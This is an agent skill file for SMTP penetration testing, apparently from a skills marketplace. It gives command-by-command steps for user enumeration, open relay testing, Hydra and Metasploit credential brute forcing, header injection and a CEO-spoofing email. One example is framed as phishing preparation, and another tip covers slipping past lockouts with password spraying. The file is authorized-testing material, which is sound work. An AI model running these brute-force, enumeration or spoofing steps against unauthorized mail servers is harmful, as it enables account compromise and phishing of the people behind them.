This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
Add this skill
npx mdskills install sickn33/smtp-penetration-testingComprehensive penetration testing guide with clear phases, commands, and security recommendations
1---2name: SMTP Penetration Testing3description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.4metadata:5 author: zebbern6 version: "1.1"7---89# SMTP Penetration Testing1011## Purpose1213Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.1415## Prerequisites1617### Required Tools18```bash19# Nmap with SMTP scripts20sudo apt-get install nmap2122# Netcat23sudo apt-get install netcat2425# Hydra for brute force26sudo apt-get install hydra2728# SMTP user enumeration tool29sudo apt-get install smtp-user-enum3031# Metasploit Framework32msfconsole33```3435### Required Knowledge36- SMTP protocol fundamentals37- Email architecture (MTA, MDA, MUA)38- DNS and MX records39- Network protocols4041### Required Access42- Target SMTP server IP/hostname43- Written authorization for testing44- Wordlists for enumeration and brute force4546## Outputs and Deliverables47481. **SMTP Security Assessment Report** - Comprehensive vulnerability findings492. **User Enumeration Results** - Valid email addresses discovered503. **Relay Test Results** - Open relay status and exploitation potential514. **Remediation Recommendations** - Security hardening guidance5253## Core Workflow5455### Phase 1: SMTP Architecture Understanding5657```58Components: MTA (transfer) → MDA (delivery) → MUA (client)5960Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)6162Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA63```6465### Phase 2: SMTP Service Discovery6667Identify SMTP servers and versions:6869```bash70# Discover SMTP ports71nmap -p 25,465,587,2525 -sV TARGET_IP7273# Aggressive service detection74nmap -sV -sC -p 25 TARGET_IP7576# SMTP-specific scripts77nmap --script=smtp-* -p 25 TARGET_IP7879# Discover MX records for domain80dig MX target.com81nslookup -type=mx target.com82host -t mx target.com83```8485### Phase 3: Banner Grabbing8687Retrieve SMTP server information:8889```bash90# Using Telnet91telnet TARGET_IP 2592# Response: 220 mail.target.com ESMTP Postfix9394# Using Netcat95nc TARGET_IP 2596# Response: 220 mail.target.com ESMTP9798# Using Nmap99nmap -sV -p 25 TARGET_IP100# Version detection extracts banner info101102# Manual SMTP commands103EHLO test104# Response reveals supported extensions105```106107Parse banner information:108109```110Banner reveals:111- Server software (Postfix, Sendmail, Exchange)112- Version information113- Hostname114- Supported SMTP extensions (STARTTLS, AUTH, etc.)115```116117### Phase 4: SMTP Command Enumeration118119Test available SMTP commands:120121```bash122# Connect and test commands123nc TARGET_IP 25124125# Initial greeting126EHLO attacker.com127128# Response shows capabilities:129250-mail.target.com130250-PIPELINING131250-SIZE 10240000132250-VRFY133250-ETRN134250-STARTTLS135250-AUTH PLAIN LOGIN136250-8BITMIME137250 DSN138```139140Key commands to test:141142```bash143# VRFY - Verify user exists144VRFY admin145250 2.1.5 admin@target.com146147# EXPN - Expand mailing list148EXPN staff149250 2.1.5 user1@target.com150250 2.1.5 user2@target.com151152# RCPT TO - Recipient verification153MAIL FROM:<test@attacker.com>154RCPT TO:<admin@target.com>155# 250 OK = user exists156# 550 = user doesn't exist157```158159### Phase 5: User Enumeration160161Enumerate valid email addresses:162163```bash164# Using smtp-user-enum with VRFY165smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP166167# Using EXPN method168smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP169170# Using RCPT method171smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP172173# Specify port and domain174smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com175```176177Using Metasploit:178179```bash180use auxiliary/scanner/smtp/smtp_enum181set RHOSTS TARGET_IP182set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt183set UNIXONLY true184run185```186187Using Nmap:188189```bash190# SMTP user enumeration script191nmap --script smtp-enum-users -p 25 TARGET_IP192193# With custom user list194nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP195```196197### Phase 6: Open Relay Testing198199Test for unauthorized email relay:200201```bash202# Using Nmap203nmap -p 25 --script smtp-open-relay TARGET_IP204205# Manual testing via Telnet206telnet TARGET_IP 25207HELO attacker.com208MAIL FROM:<test@attacker.com>209RCPT TO:<victim@external-domain.com>210DATA211Subject: Relay Test212This is a test.213.214QUIT215216# If accepted (250 OK), server is open relay217```218219Using Metasploit:220221```bash222use auxiliary/scanner/smtp/smtp_relay223set RHOSTS TARGET_IP224run225```226227Test variations:228229```bash230# Test different sender/recipient combinations231MAIL FROM:<>232MAIL FROM:<test@[attacker_IP]>233MAIL FROM:<test@target.com>234235RCPT TO:<test@external.com>236RCPT TO:<"test@external.com">237RCPT TO:<test%external.com@target.com>238```239240### Phase 7: Brute Force Authentication241242Test for weak SMTP credentials:243244```bash245# Using Hydra246hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP247248# With specific port and SSL249hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp250251# Multiple users252hydra -L users.txt -P passwords.txt TARGET_IP smtp253254# Verbose output255hydra -l admin -P passwords.txt smtp://TARGET_IP -V256```257258Using Medusa:259260```bash261medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp262```263264Using Metasploit:265266```bash267use auxiliary/scanner/smtp/smtp_login268set RHOSTS TARGET_IP269set USER_FILE /path/to/users.txt270set PASS_FILE /path/to/passwords.txt271set VERBOSE true272run273```274275### Phase 8: SMTP Command Injection276277Test for command injection vulnerabilities:278279```bash280# Header injection test281MAIL FROM:<attacker@test.com>282RCPT TO:<victim@target.com>283DATA284Subject: Test285Bcc: hidden@attacker.com286X-Injected: malicious-header287288Injected content289.290```291292Email spoofing test:293294```bash295# Spoofed sender (tests SPF/DKIM protection)296MAIL FROM:<ceo@target.com>297RCPT TO:<employee@target.com>298DATA299From: CEO <ceo@target.com>300Subject: Urgent Request301Please process this request immediately.302.303```304305### Phase 9: TLS/SSL Security Testing306307Test encryption configuration:308309```bash310# STARTTLS support check311openssl s_client -connect TARGET_IP:25 -starttls smtp312313# Direct SSL (port 465)314openssl s_client -connect TARGET_IP:465315316# Cipher enumeration317nmap --script ssl-enum-ciphers -p 25 TARGET_IP318```319320### Phase 10: SPF, DKIM, DMARC Analysis321322Check email authentication records:323324```bash325# SPF/DKIM/DMARC record lookups326dig TXT target.com | grep spf # SPF327dig TXT selector._domainkey.target.com # DKIM328dig TXT _dmarc.target.com # DMARC329330# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral331```332333## Quick Reference334335### Essential SMTP Commands336337| Command | Purpose | Example |338|---------|---------|---------|339| HELO | Identify client | `HELO client.com` |340| EHLO | Extended HELO | `EHLO client.com` |341| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |342| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |343| DATA | Start message body | `DATA` |344| VRFY | Verify user | `VRFY admin` |345| EXPN | Expand alias | `EXPN staff` |346| QUIT | End session | `QUIT` |347348### SMTP Response Codes349350| Code | Meaning |351|------|---------|352| 220 | Service ready |353| 221 | Closing connection |354| 250 | OK / Requested action completed |355| 354 | Start mail input |356| 421 | Service not available |357| 450 | Mailbox unavailable |358| 550 | User unknown / Mailbox not found |359| 553 | Mailbox name not allowed |360361### Enumeration Tool Commands362363| Tool | Command |364|------|---------|365| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |366| Nmap | `nmap --script smtp-enum-users -p 25 IP` |367| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |368| Netcat | `nc IP 25` then manual commands |369370### Common Vulnerabilities371372| Vulnerability | Risk | Test Method |373|--------------|------|-------------|374| Open Relay | High | Relay test with external recipient |375| User Enumeration | Medium | VRFY/EXPN/RCPT commands |376| Banner Disclosure | Low | Banner grabbing |377| Weak Auth | High | Brute force attack |378| No TLS | Medium | STARTTLS test |379| Missing SPF/DKIM | Medium | DNS record lookup |380381## Constraints and Limitations382383### Legal Requirements384- Only test SMTP servers you own or have authorization to test385- Sending spam or malicious emails is illegal386- Document all testing activities387- Do not abuse discovered open relays388389### Technical Limitations390- VRFY/EXPN often disabled on modern servers391- Rate limiting may slow enumeration392- Some servers respond identically for valid/invalid users393- Greylisting may delay enumeration responses394395### Ethical Boundaries396- Never send actual spam through discovered relays397- Do not harvest email addresses for malicious use398- Report open relays to server administrators399- Use findings only for authorized security improvement400401## Examples402403### Example 1: Complete SMTP Assessment404405**Scenario:** Full security assessment of mail server406407```bash408# Step 1: Service discovery409nmap -sV -sC -p 25,465,587 mail.target.com410411# Step 2: Banner grab412nc mail.target.com 25413EHLO test.com414QUIT415416# Step 3: User enumeration417smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com418419# Step 4: Open relay test420nmap -p 25 --script smtp-open-relay mail.target.com421422# Step 5: Authentication test423hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com424425# Step 6: TLS check426openssl s_client -connect mail.target.com:25 -starttls smtp427428# Step 7: Check email authentication429dig TXT target.com | grep spf430dig TXT _dmarc.target.com431```432433### Example 2: User Enumeration Attack434435**Scenario:** Enumerate valid users for phishing preparation436437```bash438# Method 1: VRFY439smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25440441# Method 2: RCPT with timing analysis442smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com443444# Method 3: Metasploit445msfconsole446use auxiliary/scanner/smtp/smtp_enum447set RHOSTS 192.168.1.100448set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt449run450451# Results show valid users452[+] 192.168.1.100:25 - Found user: admin453[+] 192.168.1.100:25 - Found user: root454[+] 192.168.1.100:25 - Found user: postmaster455```456457### Example 3: Open Relay Exploitation458459**Scenario:** Test and document open relay vulnerability460461```bash462# Test via Telnet463telnet mail.target.com 25464HELO attacker.com465MAIL FROM:<test@attacker.com>466RCPT TO:<test@gmail.com>467# If 250 OK - VULNERABLE468469# Document with Nmap470nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com471472# Output:473# PORT STATE SERVICE474# 25/tcp open smtp475# |_smtp-open-relay: Server is an open relay (14/16 tests)476```477478## Troubleshooting479480| Issue | Cause | Solution |481|-------|-------|----------|482| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |483| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |484| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |485| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |486487## Security Recommendations488489### For Administrators4904911. **Disable Open Relay** - Require authentication for external delivery4922. **Disable VRFY/EXPN** - Prevent user enumeration4933. **Enforce TLS** - Require STARTTLS for all connections4944. **Implement SPF/DKIM/DMARC** - Prevent email spoofing4955. **Rate Limiting** - Prevent brute force attacks4966. **Account Lockout** - Lock accounts after failed attempts4977. **Banner Hardening** - Minimize server information disclosure4988. **Log Monitoring** - Alert on suspicious activity4999. **Patch Management** - Keep SMTP software updated50010. **Access Controls** - Restrict SMTP to authorized IPs501
Full transparency — inspect the skill content before installing.